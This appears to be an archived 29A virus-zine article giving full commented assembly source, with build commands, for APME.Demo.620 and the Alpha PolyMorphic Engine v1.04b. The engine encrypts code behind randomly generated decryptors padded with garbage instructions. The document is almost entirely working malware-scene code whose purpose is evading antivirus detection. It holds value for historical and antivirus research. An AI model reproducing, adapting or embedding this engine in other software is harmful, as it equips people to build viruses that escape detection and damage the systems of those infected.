Copy Link
Add to Bookmark
Report
29A Issue 03 03 11
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[apme.asm]ÄÄ
comment *
APME.Demo.620 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
APME.Demo.620 is a 620 bytes generator. Generates a new copy of itself, when
executed. APME.Demo.620 is polymorphic in file using Alpha PolyMorphic
Engine v 1.04b [APME].
I would like to thank Lookout Man for providing me the binary of this
generator.
To compile APME.Demo.620 with Turbo Assembler v 5.0 type:
TASM /M APME.ASM
TLINK /t /x APME.OBJ
*
.model tiny
.code
org 100h ; Origin of APME.Demo.620
code_begin:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
call delta_offset
delta_offset:
pop si ; Load SI from stack
sub si,offset delta_offset
mov ax,100h ; AX = delta offset
push ax ; Save AX at stack
mov ax,200h ; AX = maximum length of decryptor
push ax ; Save AX at stack
mov ax,(code_end-code_begin)
push ax ; Save AX at stack
push cs ; Save CS at stack
lea ax,[si+code_begin] ; AX = offset of code_begin
push ax ; Save AX at stack
push cs ; Save CS at stack
lea ax,[si+code_end] ; AX = offset of code_end
push ax ; Save AX at stack
call apme_poly
sub sp,0eh ; Subtract fourteen from stack poi...
push ax ; Save AX at stack
mov ax,3d02h ; Open file (read/write)
lea dx,[si+filename] ; DX = offset of filename
int 21h
mov bx,ax ; BX = file handle
pop cx ; Load CX from stack (AX)
lea dx,[si+code_end] ; DX = offset of code_end
mov ah,40h ; Write to file
int 21h
xor cx,cx ; Truncate file
mov ah,40h ; Write to file
int 21h
mov ah,3eh ; Close file
int 21h
lea dx,[si+message] ; DX = offset of message
mov ah,09h ; Write string to standard output
int 21h
mov ax,4c00h ; Terminate with return code
int 21h
filename db 'apme.com',00h ; Filename
message db '[àPME] Alpha PolyMorphic Engine by ViKing - Version 1.04b$'
include apmepoly.asm ; Include Alpha PolyMorphic Engine...
code_end:
end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[apme.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[apmepoly.asm]ÄÄ
comment *
Alpha PolyMorphic Engine v 1.04b [APME] ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
Calling parameters:
SS:SP Pointer to data block
Return parameters:
AX Length of decryptor + encrypted code
Format of data block:
Offset Size Description
00h 04h Pointer to decryptor + encrypted code
04h 04h Pointer to original code
08h 02h Maximum length of decryptor
0Ah 02h Delta offset
Garbage instructions:
INT 01h; STI; CLI; STD; CLD; INT 03h; INT 03h; CWD; RCL DX,01h; ADD DX,AX;
SUB DI,[BP+DI]; ADD BP,BX; MOV BP,00h; ADD BP,SP; PUSH SS POP CX;
ADD BP,CX
Alpha PolyMorphic Engine v 1.04b [APME] decryptor:
Garbage instruction(s).
MOV AL,imm8 (Decryption key)
Garbage instruction(s).
MOV BX,imm16 (Length of encrypted code + 01h)
Garbage instruction(s).
MOV SI,imm16 (Offset of encrypted code)
Garbage instruction(s).
Garbage instruction(s).
XOR CS:[BX+SI-01h],AL
Garbage instruction(s).
DEC BX
JNZ imm8 (Offset of garbage generation(s) above decryption opcode)
Garbage instruction(s).
JMP $+02h
Minimum length of decryptor: 17 bytes.
Maximum length of decryptor: User defined.
Length of Alpha PolyMorphic Engine v 1.04b [APME]: 469 bytes.
I would like to thank Lookout Man for providing me the binary of this
polymorphic engine.
*
apme_begin equ $ ; Begining of Alpha PolyMorphic En...
apme_poly proc near ; Alpha PolyMorphic Engine v 1.04b
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
push ds es bx cx dx si di
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
call delta_offse
delta_offse:
pop bx ; Load BX from stack
sub bx,offset delta_offse
gen_poly:
lea ax,[bx+mov_al_i_off]
mov [bx+index_ptr],ax ; Store offset of MOV AL,imm8 (De...)
les di,[bp+04h] ; ES:DI = pointer to decryptor + e...
cld ; Clear direction flag
mov cx,(table_end-table_begin)/02h
gen_poly_:
mov ax,0000000000000011b
call garbag_check
jc gen_decrypt ; Carry? Jump to gen_decrypt
call gen_garbage
jmp gen_poly_
gen_decrypt:
call gen_decrypt_
loop gen_poly_
mov ax,[bx+decrypt__off]
mov si,[bx+dec_bx_j_off]
sub ax,si ; Subtract offset of DEC BX; JNZ i...
dec ax ; Decrease 8-bit immediate
cmp ax,0ff80h ; 8-bit immediate too large?
jb gen_poly ; Below? Jump to gen_poly
mov es:[si],al ; Store 8-bit immediate
mov ax,di ; AX = offset of encrypted code
sub ax,[bp+04h] ; Subtract offset of decryptor + e...
mov si,[bx+mov_si_i_off]
cmp ax,[bp+0eh] ; Decryptor too large?
ja gen_poly ; Above? Jump to gen_poly
push ax ; Save AX at stack
add ax,[bp+10h] ; Add delta offset to offset of en...
mov es:[si],ax ; Store offset of encrypted code
mov si,[bx+mov_al_i_off]
call get_rnd_num
mov es:[si],al ; Store encryption/decryption key
mov cx,[bp+0ch] ; CX = length of original code
lds si,[bp+08h] ; DS:SI = pointer to original code
cld ; Clear direction flag
xchg al,ah ; AH = encryption/decryption key
encrypt_loop:
lodsb ; AL = byte of original code
xor al,ah ; Encrypt a byte of original code
stosb ; Store byte of of encrypted code
loop encrypt_loop
pop ax ; Load AX from stack
add ax,[bp+0ch] ; Add length of original code to l...
pop di si dx cx bx es ds
pop bp ; Load BP from stack
ret ; Return
endp
garbag_check proc near ; Check whether or not garbage sho...
push ax cx ; Save registers at stack
xchg ax,cx ; CX = garbage check
call get_rnd_num
and ax,cx ; Don't generate a random garbage ...
jz do_garbage ; Zero? Jump to do_garbage
clc ; Clear carry flag
jmp dont_garbage
do_garbage:
stc ; Set carry flag
dont_garbage:
pop cx ax ; Load registers from stack
ret ; Return
endp
random_num dd ? ; 32-bit random number
get_rnd_num proc near ; Get 32-bit random number
push ds dx ; Save registers at stack
xor ax,ax ; Zero AX
mov ds,ax ; DS = segment of BIOS data area
mov ax,ds:[46ch] ; AX = low-order word of timer tic...
add ax,word ptr cs:[bx+random_num]
adc ax,00h ; Convert to 32-bit
mov dx,ds:[46ch] ; AX = low-order word of timer tic...
add dx,word ptr cs:[bx+random_num+02h]
adc dx,00h ; Convert to 32-bit
mul dx ; DX:AX = 32-bit random number
inc ax ; Increase low-order word of 32-bi...
mov word ptr cs:[bx+random_num],ax
mov word ptr cs:[bx+random_num+02h],dx
pop dx ds ; Load registers from stack
ret ; Return
endp
gen_garbage proc near ; Generate a random garbage instru...
push cx si ; Save registers at stack
lea si,[bx+garbage_tbl] ; SI = offset of garbage_tbl
call get_rnd_num
and ax,0000000000001111b
shl ax,01h ; Multiply random number with two
add si,ax ; SI = offset within garbage_tbl
lodsw ; AX = " " garbage_tbl_
add ax,bx ; Add delta offset to offset withi...
mov si,ax ; SI = offset within garbage_tbl_
xor ax,ax ; Zero AX
lodsb ; AL = length of opcode
mov cx,ax ; CX = " " "
rep movsb ; Move opcode to decrypter + encry...
pop si cx ; Load registers from stack
ret ; Return
endp
gen_decrypt_ proc near ; Generate decryptor
push cx si ; Save registers at stack
push cx ; Save CX at stack
lea si,[bx+decrypt_tbl] ; SI = offset of decrypt_tbl
dec cx ; Decrease counter
shl cx,01h ; Multiply counter with two
add si,cx ; SI = offset within decrypt_tbl
lodsw ; AX = " " decrypt_tbl_
add ax,bx ; Add delta offset to offset withi...
mov si,ax ; SI = offset within decrypt_tbl_
xor ax,ax ; Zero AX
lodsb ; AL = length of opcode
mov cx,ax ; CX = " " "
lodsb ; AL = length of immediate
rep movsb
pop cx ; Load CX from stack
or al,al ; No immediate?
jz no_immediate ; Zero? Jump to no_immediate
dec al ; Decrease length of immediate
mov si,[bx+index_ptr] ; SI = index pointer
mov [si],di ; Store offset within decryptor + ...
add si,02h ; Add two to index pointer
mov [bx+index_ptr],si ; Store index pointer
add di,ax ; Add length of immediate to offse...
no_immediate:
pop si cx ; Load registers from stack
ret ; Return
endp
db 0ah,0dh,'[àPME] Alpha PolyMorphic Engine by ViKing - Version 1.04b',0ah,0dh
garbage_tbl dw int_01h ; Offset of int_01h
dw sti_ ; Offset of sti_
dw cli_ ; Offset of cli_
dw std_ ; Offset of std_
dw cld_ ; Offset of cld_
dw int_03h ; Offset of int_03h
dw int_03h_ ; Offset of int_03h_
dw cwd_ ; Offset of cwd_
dw rcl_dx_01h ; Offset of rcl_dx_01h
dw add_dx_ax ; Offset of add_dx_ax
dw sub_di_bp_di ; Offset of sub_di_bp_di
dw add_bp_bx ; Offset of add_bp_bx
dw mov_bp_00h ; Offset of mov_bp_00h
dw add_bp_sp ; Offset of add_bp_sp
dw push_ss_pop_ ; Offset of push_ss_pop_
dw add_bp_cx ; Offset of add_bp_cx
garbage_tbl_:
int_01h db 02h ; Two bytes opcode
int 01h ; Single step
sti_ db 01h ; One byte opcode
sti ; Set interrupt-enable flag
cli_ db 01h ; One byte opcode
cli ; Clear interrupt-enable flag
std_ db 01h ; One byte opcode
std ; Set direction flag
cld_ db 01h ; One byte opcode
cld ; Clear direction flag
int_03h db 01h ; One byte opcode
int 03h ; Breakpoint
int_03h_ db 02h ; Two bytes opcode
dw 0000001111001101b ; INT 03h (opcode 0cdh,03h)
cwd_ db 01h ; One byte opcode
cwd ; Convert word to doubleword
rcl_dx_01h db 02h ; Two bytes opcode
rcl dx,01h ; Rotate DX one bit left through c...
add_dx_ax db 02h ; Two bytes opcode
add dx,ax ; Add AX to DX
sub_di_bp_di db 02h ; Two bytes opcode
sub di,[bp+di] ; Subtract the immediate at [BP+DI...
add_bp_bx db 02h ; Two bytes opcode
add bp,bx ; Add BX to BP
mov_bp_00h db 03h ; Three bytes opcode
mov bp,00h ; Zero BP
add_bp_sp db 02h ; Two bytes opcode
add bp,sp ; Add SP to BP
push_ss_pop_ db 02h ; Two bytes opcode
push ss ; Save SS at stack
pop cx ; Load CX from stack (SS)
add_bp_cx db 02h ; Two bytes opcode
add bp,cx ; Add CX to BP
table_begin:
decrypt_tbl dw jmp_imm8 ; Offset of jmp_imm8
dw dec_bx_jnz_i ; Offset of dec_bx_jnz_i
dw xor_cs__bx_s ; Offset of xor_cs__bx_
dw decrypt_loop ; Offset of decrypt_loop
dw mov_si_imm16 ; Offset of mov_si_imm16
dw mov_bx_imm16 ; Offset of mov_bx_imm16
dw mov_al_imm8 ; Offset of mov_al_imm8
table_end:
decrypt_tbl_:
mov_al_imm8 db 01h ; One byte opcode
db 01h+01h ; 8-bit immediate + 01h
mov al,00h ; AL = encryption/decryption key
mov_bx_imm16 db 03h ; Three bytes opcode
db 00h ; No immediate
mov bx,(code_end-code_begin+01h)
mov_si_imm16 db 01h ; One byte opcode
db 02h+01h ; 16-bit immediate + 01h
mov si,00h ; SI = offset of encrypted code
decrypt_loop db 00h ; No opcode
db 00h+01h ; No immediate + 01h
xor_cs__bx_s db 04h ; Four bytes opcode
db 00h ; No immediate
xor cs:[bx+si-01h],al ; Decrypt a byte of encrypted code
dec_bx_jnz_i db 02h ; Two bytes opcode
db 01h+01h ; 8-bit immediate + 01h
dec bx ; Decrease index register
jnz $+02h ; Not zero? Jump to generation abo...
jmp_imm8 db 02h ; Two bytes opcode
db 00h ; No immediate
jmp $+02
index_ptr dw ? ; Index pointer
mov_al_i_off dw ? ; Offset of MOV AL,imm8 (Decrypti...)
mov_si_i_off dw ? ; Offset of MOV SI,imm16 (Offset ...)
decrypt__off dw ? ; Offset of garbage generation abo...
dec_bx_j_off dw ? ; Offset of DEC BX; JNZ imm8 (Gar...)
apme_end equ $ ; End of Alpha PolyMorphic Engine ...
apme_length equ $-apme_begin ; Size of Alpha PolyMorphic Engine...
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[apmepoly.asm]ÄÄ